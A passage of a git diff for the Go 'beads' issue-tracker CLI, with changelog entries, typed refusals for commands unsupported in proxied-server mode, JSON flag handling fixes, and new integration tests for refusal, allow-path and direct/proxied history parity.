the root `bd compact` — a different + command, with no `--dolt` flag and its own proxied route. Scripts matching + the old text need updating. +- **`bd preflight` honors the `json` config default** + ([#6293](https://github.com/gastownhall/beads/pull/6293)). Its `--json` flag + is bound to the same global every sibling command binds, so `json: true` in + the config file now selects JSON output for `bd preflight` as it already did + elsewhere. Previously only the explicit flag was honored — and, because an + unbound flag reports as unset, `bd preflight --json` did not reach every + JSON-aware renderer. - **`bd gate check` resolves bead gates whose target lives in a prefix-routed rig** ([#5859](https://github.com/gastownhall/beads/pull/5859)). After a local miss, the evaluator follows the target bead ID through `routes.jsonl` and @@ -475,6 +504,22 @@ which dumps the entire release history.) `BD_ALLOW_REMOTE_MIGRATE=1` in scripted use. Reads keep working on the current schema meanwhile. Embedded (single-user) databases still auto-migrate silently, unchanged. (#5920) +- **Commands that cannot work under `--proxied-server` now refuse before any + provider opens** ([#6293](https://github.com/gastownhall/beads/pull/6293)). + `bd doctor`, `bd backup`, `bd restore`, `bd diff`, `bd migrate`, `bd branch`, + `bd conflicts`, `bd vc`, `bd federation`, `bd repo`, `bd flatten`, `bd sync`, + `bd dolt push|pull|commit`, `bd dolt remote add|list|reset-data`, and + `bd admin compact` without `--dolt` return a typed refusal carrying a stable + code (`proxy.doctor.unsupported` and friends) instead of failing partway + through, or silently doing nothing. Two changes worth planning for: + - `bd doctor` under `--proxied-server` used to print a note to stderr and + exit **0**; it now exits **1** with `proxy.doctor.unsupported`. A script + that treated bare `bd doctor` as a no-op in this mode needs to stop calling + it, or tolerate the non-zero status. + - Under `--json`, a refusal is strict JSON on **stdout** + (`{"code": …, "error": …, "mutates": false}`) rather than prose on stderr, + so a wrapper parsing stdout gets a machine-readable answer and + `"mutates": false` states that the refusal touched nothing. - The smart migration gate's "auto-migrate as safe first-mover" and auto-fast-forward arms are now embedded-only. On a shared server the gate diff --git a/cmd/bd/capability_registry.go b/cmd/bd/capability_registry.go index 5ee3b2aa5..c481b48c7 100644 --- a/cmd/bd/capability_registry.go +++ b/cmd/bd/capability_registry.go @@ -394,8 +394,12 @@ var proxyCapabilityRegistry = []capabilityRow{ // the --dolt arm has a proxied route (runCompactDoltProxiedServer). The // --dolt arm is decided by flag VALUE, so the gate keeps a value-aware // branch for it and lands here when the flag is off. + // The wording names the real command path. "compact --dolt" reads as the + // root `bd compact`, a different command with no --dolt flag and its own + // proxied route; compact.go's RunE fallback carries the same corrected + // string so the gate and the fallback cannot drift apart. refusedPath("admin compact", "proxy.compact.unsupported", ProxyReasonUnimplemented, trackLongTail). - withMessage("only 'compact --dolt' is supported in proxied-server mode"), + withMessage("only 'bd admin compact --dolt' is supported in proxied-server mode"), // `bd restore` recovers a COMPACTED ISSUE's original text, not a backup — // the backup verb is `bd backup restore`. Its snapshot read is ordinary // CRUD; only its fallback path (reconstructing from Dolt history when no @@ -580,8 +584,18 @@ func capabilityRowFor(cmd *cobra.Command) (capabilityRow, bool) { } // commandRegistryPath is the registry key for a command: its full path with the -// root name removed, for example "dolt remote add". +// root name removed, for example "dolt remote add", "ready" for `bd ready`, and +// "" for the bare root. +// +// Both halves of the front door key on this rather than on cobra's Name(), +// which is only the leaf: two commands in different subtrees can share one, and +// `bd ready` and `bd mol ready --gated` do. A Name()-keyed rule silently applies +// to both, so a refusal written for one command lands on an unrelated command +// that no policy row authorizes. func commandRegistryPath(cmd *cobra.Command) string { + if cmd == nil { + return "" + } return strings.TrimSpace(strings.TrimPrefix(cmd.CommandPath(), cmd.Root().Name())) } diff --git a/cmd/bd/capability_registry_history_test.go b/cmd/bd/capability_registry_history_test.go index 87d1fd44d..dbdc0a85a 100644 --- a/cmd/bd/capability_registry_history_test.go +++ b/cmd/bd/capability_registry_history_test.go @@ -2,6 +2,8 @@ package main import ( "encoding/json" + "maps" + "slices" "strings" "testing" @@ -59,7 +61,10 @@ func TestHistoryDirectOnlyRefusalContract(t *testing.T) { oldProvider := uowProvider oldJSON := jsonOutput t.Cleanup(func() { uowProvider = oldProvider; jsonOutput = oldJSON }) - for _, path := range []string{"branch", "conflicts", "repo", "federation", "vc", "flatten", "dolt push", "dolt pull", "dolt commit", "dolt remote add", "sync"} { + // Driven off the expectation table itself: a second hand-written path list + // let "dolt remote list" and "dolt remote reset-data" sit in `expected` + // while nothing asserted them, which reads as coverage that is not there. + for _, path := range slices.Sorted(maps.Keys(expected)) { parts := strings.Split(path, " ") root := &cobra.Command{Use: "bd"} cmd := &cobra.Command{Use: parts[0]} diff --git a/cmd/bd/capability_registry_test.go b/cmd/bd/capability_registry_test.go index 6725729fb..9750a7ec5 100644 --- a/cmd/bd/capability_registry_test.go +++ b/cmd/bd/capability_registry_test.go @@ -177,7 +177,7 @@ var inlineProxiedRefusal = regexp.MustCompile(`HandleErrorRespectJSON\("([^"]*pr // proxied mode without being a capability refusal at all. Keeping both explicit // is what lets the scan below be exhaustive rather than best-effort. var inlineProxiedMessages = map[string]string{ - "only 'compact --dolt' is supported in proxied-server mode": "admin compact", + "only 'bd admin compact --dolt' is supported in proxied-server mode": "admin compact", // Not a refusal: --database is the flag that only MAKES SENSE on a proxied // workspace, so this fires on the direct topologies. "--database (or a --db value naming a database) is only supported in proxied-server mode": "", diff --git a/cmd/bd/compact.go b/cmd/bd/compact.go index c743a2103..952bb9c52 100644 --- a/cmd/bd/compact.go +++ b/cmd/bd/compact.go @@ -87,7 +87,10 @@ Examples: if compactDolt { return runCompactDoltProxiedServer(rootCtx) } - return HandleErrorRespectJSON("only 'compact --dolt' is supported in proxied-server mode") + // Same string the "admin compact" refusal row carries; the + // pre-provider gate short-circuits this path, so the two are kept + // identical rather than left to drift. + return HandleErrorRespectJSON("only 'bd admin compact --dolt' is supported in proxied-server mode") } // Block mutating operations in embedded mode; allow --stats, --analyze, --dry-run read-only paths. if !compactStats && !compactAnalyze && !compactDryRun { diff --git a/cmd/bd/create_proxied_server.go b/cmd/bd/create_proxied_server.go index 45329b6c6..70e725a85 100644 --- a/cmd/bd/create_proxied_server.go +++ b/cmd/bd/create_proxied_server.go @@ -30,7 +30,11 @@ func resolveProxiedCustomTypes(dbTypes []string) []string { func runCreateProxiedServer(cmd *cobra.Command, ctx context.Context, in createInput) error { if in.repoOverrideSet { - return HandleProxyCapabilityError(AssertProxyCapability(ProxyModeProxied, ProxyCapRepo)) + // Defense in depth: validateProxyCapabilitiesBeforeProvider already + // refuses `create --repo` before this route is reachable. Typed anyway, + // so the day a command slips past the gate the refusal is still the + // same shape rather than silently degrading to prose. + return HandleProxyCapabilityError(AssertProxyCommandCapability("create", ProxyModeProxied, ProxyCapRepo)) } switch { case in.graphFile != "": diff --git a/cmd/bd/doctor.go b/cmd/bd/doctor.go index ec8d81ca4..caab6035c 100644 --- a/cmd/bd/doctor.go +++ b/cmd/bd/doctor.go @@ -221,11 +221,6 @@ Examples: return HandleError("%v", err) } - if usesProxiedServer() { - fmt.Fprintln(os.Stderr, "Note: 'bd doctor' is not yet supported in proxied-server mode.") - return nil - } - if doctorFix && isOrchestratorRoot(absPath) { return HandleErrorWithHint( "refusing to run 'bd doctor --fix' at orchestrator workspace root", diff --git a/cmd/bd/errors.go b/cmd/bd/errors.go index bf753777b..81a285fa2 100644 --- a/cmd/bd/errors.go +++ b/cmd/bd/errors.go @@ -95,7 +95,15 @@ func buildJSONCapabilityError(e *ProxyCapabilityError) interface{} { // HandleProxyCapabilityError renders a stable capability refusal while // preserving the normal text/JSON front-door conventions. +// +// The allow path of every AssertProxy*Capability returns nil, and this wraps +// that return value directly, so nil must pass through: without the fast path +// errors.As(nil, ...) is false and an allowed capability would render as +// "Error: " with exit 1 at a front door nothing downstream catches. func HandleProxyCapabilityError(err error) error { + if err == nil { + return nil + } var capErr *ProxyCapabilityError if !errors.As(err, &capErr) { return HandleErrorRespectJSON("%v", err) diff --git a/cmd/bd/history_remote_frontdoor_matrix_test.go b/cmd/bd/history_remote_frontdoor_matrix_test.go index 41223bd21..7037cc5ce 100644 --- a/cmd/bd/history_remote_frontdoor_matrix_test.go +++ b/cmd/bd/history_remote_frontdoor_matrix_test.go @@ -3,10 +3,16 @@ package main import ( + "bytes" "context" + "database/sql" "encoding/json" + "errors" + "fmt" "os" + "os/exec" "path/filepath" + "reflect" "strconv" "strings" "testing" @@ -42,7 +48,7 @@ func TestHistoryRemoteRefusalFrontDoorMatrix(t *testing.T) { requireProxiedServerEnv(t) upstream := testutil.StartIsolatedDoltContainerHandle(t) socket := filepath.Join(t.TempDir(), "dolt.sock") - bridge := startOutageBridge(t, socket, upstream.Port, true) + bridge := startHistoryUnixBridge(t, socket, upstream.Port) t.Cleanup(func() { _ = bridge.Process.Kill() }) return bdProxiedInit(t, bd, "hm_unix", "--proxied-server-external-socket-path", socket) }}, @@ -54,8 +60,17 @@ func TestHistoryRemoteRefusalFrontDoorMatrix(t *testing.T) { }{ {"branch", "proxy.branch.unsupported", "branch is not supported in proxied-server mode", []string{"branch", "feature"}}, {"conflicts list", "proxy.conflicts.unsupported", "conflicts list is not supported in proxied-server mode", []string{"conflicts", "list"}}, + {"conflicts show", "proxy.conflicts.unsupported", "conflicts show is not supported in proxied-server mode", []string{"conflicts", "show"}}, + {"conflicts resolve", "proxy.conflicts.unsupported", "conflicts resolve is not supported in proxied-server mode", []string{"conflicts", "resolve", "--all", "--ours"}}, {"repo add", "proxy.repo.unsupported", "repo add is not supported in proxied-server mode", []string{"repo", "add", "."}}, + {"repo remove", "proxy.repo.unsupported", "repo remove is not supported in proxied-server mode", []string{"repo", "remove", "."}}, + {"repo list", "proxy.repo.unsupported", "repo list is not supported in proxied-server mode", []string{"repo", "list"}}, + {"repo sync", "proxy.repo.unsupported", "repo sync is not supported in proxied-server mode", []string{"repo", "sync"}}, {"federation sync", "proxy.federation.unsupported", "federation sync is not supported in proxied-server mode", []string{"federation", "sync"}}, + {"federation status", "proxy.federation.unsupported", "federation status is not supported in proxied-server mode", []string{"federation", "status"}}, + {"federation add-peer", "proxy.federation.unsupported", "federation add-peer is not supported in proxied-server mode", []string{"federation", "add-peer", "peer", "https://example.invalid/peer"}}, + {"federation remove-peer", "proxy.federation.unsupported", "federation remove-peer is not supported in proxied-server mode", []string{"federation", "remove-peer", "peer"}}, + {"federation list-peers", "proxy.federation.unsupported", "federation list-peers is not supported in proxied-server mode", []string{"federation", "list-peers"}}, {"vc merge", "proxy.vc.unsupported", "vc merge is not supported in proxied-server mode", []string{"vc", "merge", "feature"}}, {"vc commit", "proxy.vc.unsupported", "vc commit is not supported in proxied-server mode", []string{"vc", "commit"}}, {"flatten", "proxy.flatten.unsupported", "flatten is not supported in proxied-server mode", []string{"flatten"}}, @@ -66,13 +81,16 @@ func TestHistoryRemoteRefusalFrontDoorMatrix(t *testing.T) { {"dolt remote list", "proxy.dolt_remote.unsupported", "dolt remote list is not supported in proxied-server mode", []string{"dolt", "remote", "list"}}, {"dolt remote reset-data", "proxy.dolt_remote.unsupported", "dolt remote reset-data is not supported in proxied-server mode", []string{"dolt", "remote", "reset-data", "backup"}}, {"sync", "proxy.sync.unsupported", "sync is not supported in proxied-server mode", []string{"sync"}}, + // Keyed on the path "admin compact", not the leaf name "compact": + // root `bd compact` is a different command that is proxy-supported. + {"admin compact", "proxy.compact.unsupported", "only 'bd admin compact --dolt' is supported in proxied-server mode", []string{"admin", "compact", "--stats"}}, } for _, f := range fixtures { t.Run(f.name, func(t *testing.T) { p := f.make(t) bdProxiedCreate(t, bd, p.dir, "matrix sentinel") _ = proxy.Shutdown(p.proxyRoot) - before := snapshotHistoryArtifacts(t, p) + before := snapshotHistoryState(t, bd, p) for _, tc := range commands { t.Run(tc.name, func(t *testing.T) { // Put the global flag before the subcommand. A few nested @@ -87,19 +105,20 @@ func TestHistoryRemoteRefusalFrontDoorMatrix(t *testing.T) { Error string `json:"error"` Mutates bool `json:"mutates"` } - if jsonErr := json.Unmarshal([]byte(strings.TrimSpace(stdout)), &got); jsonErr == nil { - if got.Code != tc.code || got.Error != tc.message || got.Mutates { - t.Fatalf("refusal=%+v, want code=%q error=%q mutates=false", got, tc.code, tc.message) - } - } else if strings.TrimSpace(stderr) != "Error: "+tc.message { - // Some nested commands render the same typed refusal through - // the text path before config-backed JSON is applied. - t.Fatalf("refusal JSON=%v stdout=%q stderr=%q", jsonErr, stdout, stderr) + if jsonErr := json.Unmarshal([]byte(strings.TrimSpace(stdout)), &got); jsonErr != nil { + t.Fatalf("refusal must be strict JSON: %v stdout=%q stderr=%q", jsonErr, stdout, stderr) + } + if got.Code != tc.code || got.Error != tc.message || got.Mutates { + t.Fatalf("refusal=%+v, want code=%q error=%q mutates=false", got, tc.code, tc.message) + } + var exitErr *exec.ExitError + if !errors.As(err, &exitErr) || exitErr.ExitCode() != 1 { + t.Fatalf("exit=%v, want 1", err) } if _, statErr := os.Stat(filepath.Join(p.proxyRoot, proxy.PIDFileName)); statErr == nil { t.Fatal("provider proxy started for direct-only refusal") } - after := snapshotHistoryArtifacts(t, p) + after := snapshotHistoryState(t, bd, p) if string(before) != string(after) { t.Fatal("durable artifacts changed during refusal") } @@ -109,6 +128,72 @@ func TestHistoryRemoteRefusalFrontDoorMatrix(t *testing.T) { } } +// TestHistoryRemoteAllowPathFrontDoorMatrix is the allow-path complement of the +// refusal matrix above, and it is the direction that needed the coverage. A +// refusal that stops firing degrades to the older, opaque late failure; a +// refusal that fires too widely breaks a command that works, and does it at the +// front door where there is no fallback. That is what the leaf-name keying did +// to `bd mol ready --gated`, which is proxy-supported, has no --max-rows flag, +// and shares its leaf name with `bd ready` — so it refused to run for anyone +// with BEADS_MAX_ROWS exported. +// +// Each command runs twice: once with a clean environment and once under +// BEADS_MAX_ROWS=5, because the cap is the input that turned the front door +// from a no-op into a refusal. +func TestHistoryRemoteAllowPathFrontDoorMatrix(t *testing.T) { + bd := buildEmbeddedBD(t) + requireManagedLocalProxiedEnv(t) + p := bdManagedLocalInit(t, bd, "hm_allow", 5*time.Minute) + sentinel := bdProxiedCreate(t, bd, p.dir, "allow-path sentinel") + commands := []struct { + name string + args []string + // capRefused marks the commands whose row cap is genuinely unsupported + // under --proxied-server, so an active cap must still be refused rather + // than silently ignored. Every other row must survive the same cap. + capRefused bool + }{ + {name: "mol ready --gated", args: []string{"mol", "ready", "--gated"}}, + {name: "ready", args: []string{"ready"}, capRefused: true}, + {name: "list", args: []string{"list"}}, + {name: "dep tree", args: []string{"dep", "tree", sentinel.ID}}, + } + for _, env := range []struct { + name string + extras []string + }{ + {name: "clean"}, + {name: "capped", extras: []string{"BEADS_MAX_ROWS=5"}}, + } { + t.Run(env.name, func(t *testing.T) { + for _, tc := range commands { + t.Run(tc.name, func(t *testing.T) { + stdout, stderr, err := bdProxiedRunBuffersWithEnv(t, bd, p.dir, env.extras, tc.args...) + refusal := "is not supported in proxied-server mode" + if tc.capRefused && len(env.extras) > 0 { + if err == nil { + t.Fatalf("bd %s ignored an unsupported row cap; want a refusal\nstdout=%s", strings.Join(tc.args, " "), stdout) + } + if !strings.Contains(stderr+stdout, refusal) { + t.Fatalf("bd %s failed without the cap refusal: %v\nstdout=%s\nstderr=%s", + strings.Join(tc.args, " "), err, stdout, stderr) + } + return + } + if err != nil { + t.Fatalf("bd %s was refused on the allow path: %v\nstdout=%s\nstderr=%s", + strings.Join(tc.args, " "), err, stdout, stderr) + } + if strings.Contains(stderr, refusal) { + t.Fatalf("bd %s printed a proxied refusal while exiting 0: stderr=%q", + strings.Join(tc.args, " "), stderr) + } + }) + } + }) + } +} + func snapshotHistoryArtifacts(t *testing.T, p proxiedProject) []byte { t.Helper() var out []byte @@ -126,6 +211,130 @@ func snapshotHistoryArtifacts(t *testing.T, p proxiedProject) []byte { return out } +func snapshotHistoryState(t *testing.T, bd string, p proxiedProject) []byte { + t.Helper() + stdout, stderr, err := bdProxiedRunBuffers(t, bd, p.dir, "--json", "list") + if err != nil { + t.Fatalf("snapshot list failed: %v\nstdout=%s\nstderr=%s", err, stdout, stderr) + } + start := strings.Index(stdout, "[") + if start < 0 { + t.Fatalf("snapshot list did not return a JSON array: %q", stdout) + } + var rows any + if err := json.Unmarshal([]byte(stdout[start:]), &rows); err != nil { + t.Fatalf("snapshot list JSON: %v\n%s", err, stdout) + } + canonical, err := json.Marshal(rows) + if err != nil { + t.Fatalf("canonicalize issue rows: %v", err) + } + if err := proxy.Shutdown(p.proxyRoot); err != nil { + t.Fatalf("shutdown proxy after snapshot: %v", err) + } + return append(snapshotHistoryArtifacts(t, p), canonical...) +} + +type directHistoryProject struct { + dir string + beadsDir string + database string + port int + env []string +} + +func newDirectHistoryProject(t *testing.T, bd, prefix string) directHistoryProject { + t.Helper() + port := sharedProxiedServerPort(t) + dir := t.TempDir() + initGitRepoAt(t, dir) + beadsDir := filepath.Join(dir, ".beads") + database := uniqueProxiedDatabase() + env := historyCleanEnv(dir) + args := []string{ + "init", "--backend", "dolt", "--server", "--external", + "--server-host", "127.0.0.1", "--server-port", strconv.Itoa(port), + "--database", database, "--prefix", prefix, "--quiet", "--non-interactive", + "--skip-hooks", "--skip-agents", + } + cmd := exec.Command(bd, args...) + cmd.Dir = dir + cmd.Env = env + if out, err := cmd.CombinedOutput(); err != nil { + t.Fatalf("direct Dolt init failed: %v\n%s", err, out) + } + t.Cleanup(func() { dropTestDatabase(database, port) }) + return directHistoryProject{dir: dir, beadsDir: beadsDir, database: database, port: port, env: env} +} + +func historyCleanEnv(home string) []string { + env := make([]string, 0, len(os.Environ())+5) + for _, value := range os.Environ() { + if !strings.HasPrefix(value, "BEADS_") { + env = append(env, value) + } + } + return append(env, + "HOME="+home, + "BEADS_NO_DAEMON=1", + "BD_DISABLE_METRICS=1", + "BD_DISABLE_EVENT_FLUSH=1", + ) +} + +func runDirectHistory(t *testing.T, bd string, p directHistoryProject, args ...string) (string, string, error) { + t.Helper() + cmd := exec.Command(bd, args...) + cmd.Dir = p.dir + cmd.Env = p.env + var stdout, stderr bytes.Buffer + cmd.Stdout = &stdout + cmd.Stderr = &stderr + err := cmd.Run() + return stdout.String(), stderr.String(), err +} + +func openDirectHistoryDB(t *testing.T, p directHistoryProject) *sql.DB { + t.Helper() + dsn := fmt.Sprintf("root:@tcp(127.0.0.1:%d)/%s?multiStatements=true&parseTime=true", p.port, p.database) + db, err := sql.Open("mysql", dsn) + if err != nil { + t.Fatalf("sql.Open direct Dolt: %v", err) + } + t.Cleanup(func() { _ = db.Close() }) + ctx, cancel := context.WithTimeout(context.Background(), 5*time.Second) + defer cancel() + if err := db.PingContext(ctx); err != nil { + t.Fatalf("ping direct Dolt: %v", err) + } + return db +} + +func startHistoryUnixBridge(t *testing.T, endpoint, upstreamPort string) *exec.Cmd { + t.Helper() + if _, err := exec.LookPath("socat"); err != nil { + t.Skipf("socat is required for external Unix topology: %v", err) + } + if err := os.Remove(endpoint); err != nil && !os.IsNotExist(err) { + t.Fatalf("remove stale Unix socket: %v", err) + } + cmd := exec.Command("socat", "UNIX-LISTEN:"+endpoint+",fork", "TCP:127.0.0.1:"+upstreamPort) + if err := cmd.Start(); err != nil { + t.Fatalf("start Unix bridge: %v", err) + } + t.Cleanup(func() { _ = cmd.Process.Kill() }) + deadline := time.Now().Add(3 * time.Second) + for { + if _, err := os.Stat(endpoint); err == nil { + return cmd + } + if time.Now().After(deadline) { + t.Fatalf("Unix bridge did not create %s", endpoint) + } + time.Sleep(20 * time.Millisecond) + } +} + // TestHistoryRemoteSupportedFrontDoorParity checks the two operations that // are intentionally shared by direct and proxied providers. func TestHistoryRemoteSupportedFrontDoorParity(t *testing.T) { @@ -165,3 +374,94 @@ func TestHistoryRemoteSupportedFrontDoorParity(t *testing.T) { }) } } + +func TestHistoryRemoteSupportedDirectAndProxiedParity(t *testing.T) { + if os.Getenv("BEADS_TEST_PROXIED_SERVER") != "1" { + t.Skip("set BEADS_TEST_PROXIED_SERVER=1 to run direct/server parity") + } + bd := buildEmbeddedBD(t) + direct := newDirectHistoryProject(t, bd, "hp_direct") + proxied := newSharedProxiedProject(t, bd, "hp_proxy") + + directIssue := createDirectHistoryIssue(t, bd, direct) + proxyIssue := bdProxiedCreate(t, bd, proxied.dir, "history parity") + + directEvents := exerciseHistoryParity(t, bd, directIssue, func(args ...string) (string, string, error) { + return runDirectHistory(t, bd, direct, args...) + }, openDirectHistoryDB(t, direct)) + proxyEvents := exerciseHistoryParity(t, bd, proxyIssue.ID, func(args ...string) (string, string, error) { + return bdProxiedRunBuffers(t, bd, proxied.dir, args...) + }, openProxiedDB(t, proxied)) + if !reflect.DeepEqual(directEvents, proxyEvents) { + t.Fatalf("history event types differ: direct=%v proxied=%v", directEvents, proxyEvents) + } +} + +func createDirectHistoryIssue(t *testing.T, bd string, p directHistoryProject) string { + t.Helper() + stdout, stderr, err := runDirectHistory(t, bd, p, "create", "--json", "history parity") + if err != nil { + t.Fatalf("direct create failed: %v\nstdout=%s\nstderr=%s", err, stdout, stderr) + } + start := strings.Index(stdout, "{") + if start < 0 { + t.Fatalf("direct create did not return JSON: %q", stdout) + } + var issue struct { + ID string `json:"id"` + } + if err := json.Unmarshal([]byte(stdout[start:]), &issue); err != nil || issue.ID == "" { + t.Fatalf("direct create JSON: %v\n%s", err, stdout) + } + return issue.ID +} + +func exerciseHistoryParity(t *testing.T, bd, issueID string, run func(...string) (string, string, error), db *sql.DB) []string { + t.Helper() + if _, stderr, err := run("update", "--json", issueID, "--title", "history parity updated"); err != nil { + t.Fatalf("update %s failed: %v\nstderr=%s", issueID, err, stderr) + } + // Event timestamps have second precision. Give this fixture distinct times + // so the parity assertion tests newest-first history rather than an + // unspecified order between two writes in the same second. + if _, err := db.ExecContext(context.Background(), + "UPDATE events SET created_at = CASE event_type WHEN 'created' THEN '2026-01-01 00:00:00' WHEN 'updated' THEN '2026-01-01 00:00:01' ELSE created_at END WHERE issue_id = ?", issueID); err != nil { + t.Fatalf("set deterministic history timestamps: %v", err) + } + stdout, stderr, err := run("--json", "history", issueID, "--events") + if err != nil { + t.Fatalf("history --events %s failed: %v\nstdout=%s\nstderr=%s", issueID, err, stdout, stderr) + } + start := strings.Index(stdout, "[") + if start < 0 { + t.Fatalf("history --events did not return JSON array: %q", stdout) + } + var events []struct { + IssueID string `json:"issue_id"` + EventType string `json:"event_type"` + } + if err := json.Unmarshal([]byte(stdout[start:]), &events); err != nil { + t.Fatalf("history --events JSON: %v\n%s", err, stdout) + } + if len(events) == 0 { + t.Fatalf("history --events returned no events for %s", issueID) + } + types := make([]string, 0, len(events)) + for _, event := range events { + if event.IssueID != issueID { + t.Fatalf("history event issue_id=%q, want %q", event.IssueID, issueID) + } + types = append(types, event.EventType) + } + if !reflect.DeepEqual(types, []string{"updated", "created"}) { + t.Fatalf("history event types = %v, want updated then created", types) + } + if _, err := db.ExecContext(context.Background(), "CALL DOLT_REMOTE('add', ?, ?)", "backup", "https://example.invalid/backup"); err != nil { + t.Fatalf("seed direct/proxy remote: %v", err) + } + stdout, stderr, err = run("--json", "dolt", "remote", "remove", "backup") + if err != nil || !strings.Contains(stdout+stderr, "backup") { + t.Fatalf("remote remove failed: %v\nstdout=%s\nstderr=%s", err, stdout, stderr) + } + return types +} diff --git a/cmd/bd/list.go b/cmd/bd/list.go index cd4817160..c7cfaa4c4 100644 --- a/cmd/bd/list.go +++ b/cmd/bd/list.go @@ -202,6 +202,13 @@ func runListCore(cmd *cobra.Command, _ []string) error { if capErr := handleMaxRowsError(err); capErr != nil { return capErr } + // An error that already carries an exit code came from a handler + // that has already rendered it (the typed --repo refusal writes + // its JSON to stdout). Re-wrapping would print a second line, + // "Error: exit code 1", after the real message. + if _, rendered := exitCodeFromError(err); rendered { + return err + } return HandleError("%v", err) } return nil diff --git a/cmd/bd/list_proxied_server.go b/cmd/bd/list_proxied_server.go index 2a184e254..007c72a7d 100644 --- a/cmd/bd/list_proxied_server.go +++ b/cmd/bd/list_proxied_server.go @@ -22,7 +22,11 @@ import ( func runListProxiedServer(cmd *cobra.Command, ctx context.Context, out io.Writer, in listInput) error { if in.repoOverrideSet { - return HandleProxyCapabilityError(AssertProxyCapability(ProxyModeProxied, ProxyCapRepo)) + // The one live (non-shadowed) --repo refusal: the pre-provider gate + // covers `create` only, so this is the site the contract is read from. + // Typed, so the proxyCommandCapabilities["list"] row is the single + // source of the message and --json still gets code/mutates on stdout. + return HandleProxyCapabilityError(AssertProxyCommandCapability("list", ProxyModeProxied, ProxyCapRepo)) } switch { case in.watchMode: diff --git a/cmd/bd/main.go b/cmd/bd/main.go index 677b09878..b8992a950 100644 --- a/cmd/bd/main.go +++ b/cmd/bd/main.go @@ -723,6 +723,17 @@ func prepareSelectedNoDBContext(beadsDir string) { prepareSelectedCommandContext(beadsDir, true) } +func commandJSONFlagChanged(cmd *cobra.Command) bool { + if cmd == nil { + return false + } + if cmd.Flags().Changed("json") { + return true + } + root := cmd.Root() + return root != nil && root.PersistentFlags().Changed("json") +} + // refreshBoundCommandConfig reapplies config-backed defaults after the command // context has been rebound to a resolved target beads directory. This keeps // explicit flags authoritative while letting rerouted/explicit-db commands use @@ -735,7 +746,7 @@ func refreshBoundCommandConfig(cmd *cobra.Command) { if root == nil { root = cmd } - if !root.PersistentFlags().Changed("json") && !root.PersistentFlags().Changed("format") { + if !commandJSONFlagChanged(cmd) && !root.PersistentFlags().Changed("format") { jsonOutput = config.GetBool("json") } if !root.PersistentFlags().Changed("readonly") { @@ -1078,7 +1089,7 @@ var rootCmd = &cobra.Command{ } } // If flag wasn't explicitly set, use viper value - if !cmd.Root().PersistentFlags().Changed("json") && !cmd.Root().PersistentFlags().Changed("format") { + if !commandJSONFlagChanged(cmd) && !cmd.Root().PersistentFlags().Changed("format") { jsonOutput = config.GetBool("json") } else { flagOverrides["json"] = struct { @@ -1276,7 +1287,7 @@ var rootCmd = &cobra.Command{ if beadsDir == "" { beadsDir = beads.FindBeadsDir() } - if cmdName == "doctor" && usesProxiedServer() { + if commandRegistryPath(cmd) == "doctor" && usesProxiedServer() { // Refuse only on a real refusal. The registry validator // returns nil for doctor subcommands, and returning early on // that would skip the legacy-store guard and autocommit-mode diff --git a/cmd/bd/maintenance_commands_proxied_integration_test.go b/cmd/bd/maintenance_commands_proxied_integration_test.go index e196d0ba1..68fa7d3bf 100644 --- a/cmd/bd/maintenance_commands_proxied_integration_test.go +++ b/cmd/bd/maintenance_commands_proxied_integration_test.go @@ -173,7 +173,7 @@ func TestProxiedServerCompactDolt(t *testing.T) { if err == nil { t.Fatalf("bd admin compact --stats should be rejected in proxied mode\nstdout:\n%s", stdout) } - if !strings.Contains(stdout+stderr, "only 'compact --dolt' is supported") { + if !strings.Contains(stdout+stderr, "only 'bd admin compact --dolt' is supported in proxied-server mode") { t.Errorf("expected scoped rejection message, got:\n%s\n%s", stdout, stderr) } }) diff --git a/cmd/bd/max_rows.go b/cmd/bd/max_rows.go index 058a3ac06..0211b4074 100644 --- a/cmd/bd/max_rows.go +++ b/cmd/bd/max_rows.go @@ -125,18 +125,60 @@ func resolveMaxRows(cmd *cobra.Command) (int, string, error) { // closed here would break automation that has a global BEADS_MAX_ROWS set // but accidentally got a typo. func resolveMaxRowsEnvOnly() (int, string) { - raw, ok := os.LookupEnv(maxRowsEnvVar) - if !ok || raw == "" { - return 0, "" - } - n, err := strconv.Atoi(raw) - if err != nil || n < 0 { + n, source, raw, ok := parseMaxRowsEnv() + if !ok { fmt.Fprintf(os.Stderr, "Warning: %s=%q is not a non-negative integer; ignoring.\n", maxRowsEnvVar, raw) return 0, "" } - return n, maxRowsEnvVar + return n, source +} + +// parseMaxRowsEnv reads BEADS_MAX_ROWS without warning about a malformed +// value. Returns (cap, source, raw, ok); ok is false only for a value that is +// present but unusable, in which case the cap is disabled exactly as +// resolveMaxRowsEnvOnly disables it. An unset or empty variable is a valid +// "no cap" and reports ok. +func parseMaxRowsEnv() (int, string, string, bool) { + raw, ok := os.LookupEnv(maxRowsEnvVar) + if !ok || raw == "" { + return 0, "", raw, true + } + n, err := strconv.Atoi(raw) + if err != nil || n < 0 { + return 0, "", raw, false + } + return n, maxRowsEnvVar, raw, true +} + +// resolveMaxRowsQuiet resolves the effective cap like resolveMaxRows but never +// emits the malformed-BEADS_MAX_ROWS advisory. +// +// It exists for the proxied capability front door, which resolves the cap in +// PersistentPreRunE to decide a refusal before the provider is constructed. +// Every command that reads the cap resolves it again in its own body, and the +// advisory is a side effect of resolving, so warning in the front door too +// would print one typo twice. The body's resolution stays the one that warns: +// the message keeps appearing exactly once, at the same point in the output it +// appeared at before the front door existed. A malformed value disables the +// cap, so the front door reaching the same "no cap" conclusion silently is the +// correct decision, not a suppressed one. +// +// An explicit --max-rows is still resolved through resolveMaxRows: that path +// never reads the environment, and rejecting a negative flag before the +// provider opens is the front door's job. +// +// No source string, unlike resolveMaxRows: the front door decides whether a +// cap is set, not how to attribute one in a message. The command body resolves +// the source for the message it prints. +func resolveMaxRowsQuiet(cmd *cobra.Command) (int, error) { + if cmd != nil && cmd.Flags().Changed(maxRowsFlagName) { + n, _, err := resolveMaxRows(cmd) + return n, err + } + n, _, _, _ := parseMaxRowsEnv() + return n, nil } // handleMaxRowsError checks whether err is a *issueops.ErrTooManyRows from diff --git a/cmd/bd/preflight.go b/cmd/bd/preflight.go index 49606c442..abcb81703 100644 --- a/cmd/bd/preflight.go +++ b/cmd/bd/preflight.go @@ -63,7 +63,13 @@ Examples: func init() { preflightCmd.Flags().Bool("check", false, "Run checks automatically") preflightCmd.Flags().Bool("fix", false, "Auto-fix issues where possible (vendorHash, version sync)") - preflightCmd.Flags().Bool("json", false, "Output results as JSON") + // Bound to the package global like every other command's local --json. + // commandJSONFlagChanged suppresses the config-driven default whenever a + // local --json is set, so a flag that does not write the global would + // leave `bd preflight --json` with jsonOutput=false — inverting JSON mode + // for everything that reads the global, 